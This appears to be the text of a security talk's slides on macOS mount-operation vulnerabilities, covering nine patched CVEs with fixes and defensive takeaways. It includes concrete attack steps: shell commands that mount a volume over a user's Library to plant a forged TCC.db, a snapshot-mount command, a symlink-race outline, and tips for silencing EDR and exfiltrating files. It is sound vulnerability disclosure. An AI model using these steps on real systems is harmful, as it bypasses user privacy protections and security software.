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agenda
random 

1. CVE-2025-43328 - Bypass APFS Snapshots protection 

2. CVE-2025-24253 - storagekitd SIP bypass 

3. CVE-2025-31244 - mount update sandbox escape 

diskarbitrationd 

4. CVE-2025-31224 - diskarbitrationd fstab TCC bypass 

5. CVE-2025-24258 - DADiskSetAdoption LPE 

6. CVE-2025-43316 - CVE-2025-24258 patch bypass - DADiskSetAdoption LPE - round 2 

7. CVE-2025-30453 - setencoding sandbox escape 

NetAuthSysAgent 

8. CVE-2025-43275 - NetAuthSysAgent sandbox escape 

9. CVE-2025-43364 - CVE-2025-43275 patch bypass



what is mounting?
Making a storage location accessible at a particular folder/path in an 
operating system’s directory tree.



why mount operation?
• overlooked 

• invoked every time when a file system is attached (network, dmg, etc...) 

• the problem rises when the process of 
• WHAT 

• WHERE 

• HOW 

• gets mounted can be abused



Part 1: random 🐛



CVE-2025-43328 - Bypass 
APFS Snapshots protection



What are snapshots?
• point in time view of the entire file system 

• primary used by: Time Machine and System partition 

• read only csaby@Mac ~ % tmutil listlocalsnapshots / 
Snapshots for disk /: 
com.apple.TimeMachine.2026-08-07-125301.local 
com.apple.TimeMachine.2026-08-17-135100.local 
com.apple.TimeMachine.2026-08-17-145047.local

csaby@Mac ~ % diskutil apfs listSnapshots / 
Snapshot for disk3s1s1 (1 found) 
| 
+-- 3DC4139B-0C0C-4588-B909-AF5A1359E6A5 
    Name:        com.apple.os.update-60587424F5399FC05D957DF05B4D2F65543462495C77AEF520F790FBB57CB212 
    XID:         31104285 
    Purgeable:   No 
    NOTE:        This snapshot limits the minimum size of APFS Container disk3





let's time travel





mount_apfs -o noowners -s com.apple.TimeMachine.2019-11-17-141812.local /System/Volumes/Data /tmp/mnt





CVE-2020-9771

• Fix: Full Disk Access is required for mounting snapshots



MACF & SIP (=Sandbox Platform Profile)



What about mounting a snapshot?

• so... we can mount unless the name starts with 
com.apple.TimeMachine

long __cdecl fs_snapshot_mount() 
{ 
  bool v2; // w8 
  bool v3; // w8 

  if ( process_attribute("is-datavault-controller") ) 
    return allow(""); 
  if ( process_attribute("is-sandcastle-constrained") == 0 ) 
    return allow(""); 
  if ( process_attribute("is-platform-binary") != 0 ) 
  { 
    v2 = signing_identifier("com.apple.imagent") != 0; 
    if ( v2 || signing_identifier("com.apple.sharingd") || signing_identifier("com.apple.pluginkit.pkd") ) 
      return allow(""); 
  } 
  if ( !snapshot_name("com.apple.TimeMachine.") ) 
    return allow(""); 
  v3 = entitlement_is_bool_true("com.apple.private.security.storage.TimeMachine") == 0; 
  if ( !v3 || require_ancestor_with_entitlement("com.apple.private.security.storage.TimeMachine.heritable") ) 
    return allow(""); 
  else 
    return allow("user-approval '== NEED TO ADD MODIFIER'"); 
}



💡

• if we can: 
1. create a snapshot with a different name 

                 (not com.apple.TimeMachine.*) 

2. rename a snapshot 

• tmutil - will use bad names (com.apple.TimeMachine.*) 😭 

• if we call the snapshot system call ==> FAIL 😭 
• but why???

====> we can mount it



static boolean_t 
vfs_context_can_snapshot(vfs_context_t ctx) 
{ 
 static const char * const snapshot_entitlements = { 
  "com.apple.private.vfs.snapshot", 
  "com.apple.developer.vfs.snapshot", 
  "com.apple.private.apfs.arv.limited.snapshot", 
 }; 
 static const size_t nentitlements = 
     sizeof(snapshot_entitlements) / 
sizeof(snapshot_entitlements[0]); 
 size_t i; 

 task_t task = vfs_context_task(ctx); 
 for (i = 0; i < nentitlements; i++) { 
  if (IOTaskHasEntitlement(task, snapshot_entitlements[i])) { 
   return TRUE; 
  } 
 } 
 return FALSE; 
} 

... 

/* 
• FS snapshot operations dispatcher 
 */ 
int 
fs_snapshot(__unused proc_t p, struct fs_snapshot_args *uap, 
    __unused int32_t *retval) 
{ 
 int error; 
 vfs_context_t ctx = vfs_context_current(); 

 AUDIT_ARG(fd, uap->dirfd); 
 AUDIT_ARG(value32, uap->op); 

 if (!vfs_context_can_snapshot(ctx)) { 
  return EPERM; 
 } 

... 

}



com.apple.developer.vfs.snapshot
• not easy to get 

• but! - can we "exploit" existing apps? 

• 😈



SuperDooper!

• XPC is reachable for root 

• ⚠ not a SuperDooper! issue 

• we can call it to create or rename a snapshot

@protocol SnapshotManager_SnapshotManagerProtocol 
- (void)mountSnapshot:(NSURL *)arg1 name:(NSString *)arg2 mountPoint:(NSURL *)arg3 withReply:(void (^)(NSURL *, NSError *))arg4; 
- (void)renameSnapshot:(NSURL *)arg1 from:(NSString *)arg2 to:(NSString *)arg3 withReply:(void (^)(Snapshot *, NSError *))arg4; 
- (void)deleteSnapshot:(NSURL *)arg1 name:(NSString *)arg2 withReply:(void (^)(NSString *, NSError *))arg3; 
- (void)createSnapshot:(NSURL *)arg1 name:(NSString *)arg2 withReply:(void (^)(Snapshot *, NSError *))arg3; 
- (void)listSnapshots:(NSURL *)arg1 detailed:(BOOL)arg2 withReply:(void (^)(NSArray *, NSError *))arg3; 
- (void)report_idWithReply:(void (^)(NSString *))arg1; 
@end



SuperDooper!



FIX

• Any snapshot mounting requires Full Disk Access



CVE-2025-24253 - 
storagekitd SIP bypass



storagekitd - the basics
• system wide service 

• can do disk verification / repair / mount / etc... 

• diskutil calls into this (mostly)



storagekitd - why we like it?
• runs as root 

• unsandboxed 

• has powerful entitlements 
• SIP bypass 

• ~ Full Disk Access



the disk verification



the disk verification



the disk verification





the disk verification



the exploit

• prepare a disk image (DMG) with a fake TCC.db 

• run verification on that 

• when the (MPXXXXX) directory is created in /tmp/ replace it with a 
symlink











the exploit





CVE-2025-31244 - mount 
update sandbox escape



















/sbin/mount -t hfs -u -onodev -onosuid -ordonly -onoowners /dev/disk4s1 mountpoint



/sbin/mount -t hfs -u -onodev -onosuid -ordonly -onoowners /dev/disk4s1 mountpoint





summary

• we can update the mount point flags from within the app 

• we can remove quarantine 

• we can run any unsandboxed app 



fix

• mount update will no longer* remove quarantine 

* if done from the sandbox



Part 2: diskarbitrationd 🐛



diskarbitrationd - the basics
• system wide service, defined in: 

• /System/Library/LaunchDaemons/com.apple.diskarbitrationd.plist 

• XPC: com.apple.DiskArbitration.diskarbitrationd 

• manage disk mounting, unmounting 

• calls mount/unmount system calls under the hood



diskarbitrationd - why we like it?
• runs as root 

• unsandboxed 

• XPC service accessible from application sandbox 

• opensource 

• powerful entitlement ~ Full Disk Access



CVE-2025-31224 - 
diskarbitrationd fstab TCC bypass



what is fstab?
• configuration file listing filesystems that should be automatically 

mounted when the system starts 

• it's a decades-old Unix convention, still honored by macOS today

# Device                                  Mountpoint    Type    Options 

UUID=4A2D8B1C-7F3E-4D5A-9E6B-1A2B3C4D5E6F  /Volumes/MyDrive  apfs  rw



so what?
• diskarbitrationd reads it and performs the 

mounts 

• remember: diskarbitrationd has FDA 

• so it can mount over com.apple.TCC 

• 😈



# Device                                  Mountpoint    Type    Options 

UUID=$VOLUME_UUID /System/Volumes/Data/Users/$LOGINUSER/Library/ apfs auto

diskutil apfs addVolume $MAINDISK APFS Foo1

sudo -u $LOGINUSER cp -R /Users/$LOGINUSER/Library/ /Volumes/Foo1

reboot

sudo -u $LOGINUSER sqlite3 /private/tmp/TCC.db < /private/tmp/tccdump.sql 

sudo -u $LOGINUSER mkdir -p /Volumes/Foo1/Application\ Support/
com.apple.TCC 

sudo -u $LOGINUSER cp /private/tmp/TCC.db /Volumes/Foo1/Application\ 
Support/com.apple.TCC/





CVE-2025-24258 - diskarbitrationd 
DADiskSetAdoption LPE (Local 

Privilege Escalation)



SUID bit

• the executable runs with the owner's permission 
• if the file is owned by root => runs as root 

• regardless who runs it 

• extremely dangerous 

• so many bugs...



suid vs nosuid (mount point) flag

• if the volume mounted with "nosuid" flag => SUID flag on files are 
ignored 

• if the volume mounted with "suid" flag => SUID flag on files are retained



owners vs noowners (mount point) flag
• owners flag - retain original file permissions after mount 

• noowners flag - does not retain.... - files appear to be owned by the user



DADiskSetAdoption

• API to change the owners flag on the mount point 

• issue: no proper authorization 

• basically anyone can call it 

• under the hood: calls vsdbutil to change ownership 
     (not so important now, but will be later - REMEMBER this)









let's play this







fix

• implication: we can change ownership of 
DMGs 

• BUT!!!! 
• DMGs can NEVER have the suid flag set 

==> patch is OK

Is it? 🤨



remember?

vsdbutil



CVE-2025-43316 - CVE-2025-24258 
patch bypass - DADiskSetAdoption 

LPE - round 2



vsdbutil
• command line utility 

• changes ownership flag 

• called by diskarbitrationd on the mount 
point path

execle( "/usr/sbin/vsdbutil", 
        "/usr/sbin/vsdbutil", 
        adoption ? "-a" : "-d", 
        mountpoint, 
        NULL, 
        NULL );







fix

• entitlement! - com.apple.private.diskarbitrationd.disk_set_adoption 
    (e.g.: diskutil)



CVE-2025-30453 - 
setencoding sandbox escape



_DADiskSetEncoding
• changes FS encoding 

• calls mount update

execle( "/sbin/mount", 
        "/sbin/mount", 
        "-t", 
        fs.f_fstypename, 
        "-u", 
        option, 
        ( fs.f_flags & MNT_NODEV            ) ? "-onodev"    : "-odev", 
        ( fs.f_flags & MNT_NOEXEC           ) ? "-onoexec"   : "-oexec", 
        ( fs.f_flags & MNT_NOSUID           ) ? "-onosuid"   : "-osuid", 
        ( fs.f_flags & MNT_RDONLY           ) ? "-ordonly"   : "-orw", 
        ( fs.f_flags & MNT_IGNORE_OWNERSHIP ) ? "-onoowners" : "-oowners", 
        fs.f_mntfromname, 
        fs.f_mntonname, 
        NULL, 
        NULL ); 

Which mount flag is missing? 

😈













fix

• feature removed 

• R.I.P. DADiskSetEncoding 🪦



Part 3: NetFS



CVE-2025-43275 - 
NetAuthSysAgent sandbox escape



NetAuthSysAgent

• agent (=runs as user) responsible for mounting network shares 

• XPC service 

• unsandboxed 

• reachable from sandbox 
     ==> must verify caller





😈





code exec?

• how to turn this into unsandboxed code execution? * 
1. mount over .zsh_sessions 

2. mount over Saved Application State 

3. Launch Terminal to execute custom shell script 

* Up until Sequoia



fix

• well....





CVE-2025-43364 - NetAuthSysAgent 
CVE-2025-43275 patch bypass



bypass?

• Nah, my original POC still works 

• Practically nothing changed



The Rest



There are a few tricks

• silence EDR (or anything): 
• mount over LaunchDaemons or the App's directory -> kill -9 -> app can't 

restart 

• = self-defense bypass 99% of the time (1% is Iru, because I'm there :D) * 

• hide files 

• mount somewhere and wait for files to show up -> then exfil

* I did not actually test all EDRs, but if it works 3 times, it works all the time 😅 



Takeaways

• monitor your system for mounting - what/where/how/(who) triangle 
• daemons can mask the origin 

• for any app/service you develop: 

• NEVER EVER work on files or directories in places which are under the 
control of a lower privileged user 

• app self defense: deny any mount operation on your dirs, and their 
subdirs and their parent dirs + LaunchDaemons



Csaba Fitzl 
X: @theevilbit



Resources

• flaticon.com - Freepik, rsetiawan, MindWorlds, Magnific

http://flaticon.com
https://www.flaticon.com/authors/rsetiawan

